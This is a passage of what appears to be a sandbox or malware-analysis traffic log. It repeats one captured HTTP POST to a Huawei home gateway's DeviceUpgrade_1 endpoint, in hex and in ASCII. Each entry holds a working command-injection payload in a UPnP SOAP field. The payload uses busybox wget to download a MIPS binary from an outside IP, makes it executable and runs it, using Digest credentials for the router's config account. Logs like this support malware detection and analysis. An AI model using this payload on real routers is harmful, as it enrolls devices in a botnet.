22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 